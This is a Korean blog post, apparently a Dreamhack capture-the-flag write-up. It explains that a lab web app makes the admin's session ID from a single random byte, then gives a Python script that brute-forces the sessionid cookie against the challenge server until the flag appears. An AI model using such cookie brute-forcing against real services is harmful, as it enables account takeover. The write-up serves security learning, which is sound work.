보안 공부/Dreamhack.io
[Dreamhack] session(python 사용)
sh1256
2022. 2. 14. 00:19
728x90

먼저 접속 정보에 나와있는 주소로 접속합니다.
그러면 위와 같은 사이트를 만나게 됩는데요, 첨부파일에 있는 app.py도 살펴봅시다
[app.py 분석]

--> 로그인 정보

--> sessionid쿠키값을 통해 user가 누군지 판별함
--> admin의 sessionid값을 알면 admin의 pw를 몰라도 admin계정으로 로그인 가능

--> sessionid값을 만들어 내는 방법
--> os.urandom(1).hex()을 통해 admin의 sessionid를 만들어냄.
--> os.urandom(1): os 모듈에는 urandom이라는 함수가 있다.
이 함수는 원하는 길이(byte단위)의 unsigned 수치값을 무작위로 만들어 준다.
[admin의 sessionid찾기]
1. 사실상 admin의 sessionid는 랜덤으로 만들어졌기 때문에 무차별 대입 공격을 시도한다.
2. 무차별 대입 공격은 브루트 포스 공격(brute force attack) 또는 키 전수조사(exhaustive key search) 라고도 한다.
3. 무차별 대입 공격은 말 그대로 특정한 암호를 풀기 위해 가능한 모든 값을 대입하는 것을 의미한다.
위키백과--> https://ko.wikipedia.org/wiki/%EB%AC%B4%EC%B0%A8%EB%B3%84_%EB%8C%80%EC%9E%85_%EA%B3%B5%EA%B2%A9
import requests
import os
url ="http://host1.dreamhack.games:13515/"
while(1):
pw=os.urandom(1).hex()#랜덤한 숫자 생성
print("search_str: "+pw)
cookies={'sessionid':pw}
response= requests.get(url, cookies=cookies)
print(response.text)#flag를 볼 수 있게 html를 출력한다.
if response.text.find("flag") !=-1:#html파일에서 'flag'문자열을 찾을 시 종료
print("pw: "+pw)
break


그렇게 해서 얻은 flag를 입력하면 성공!
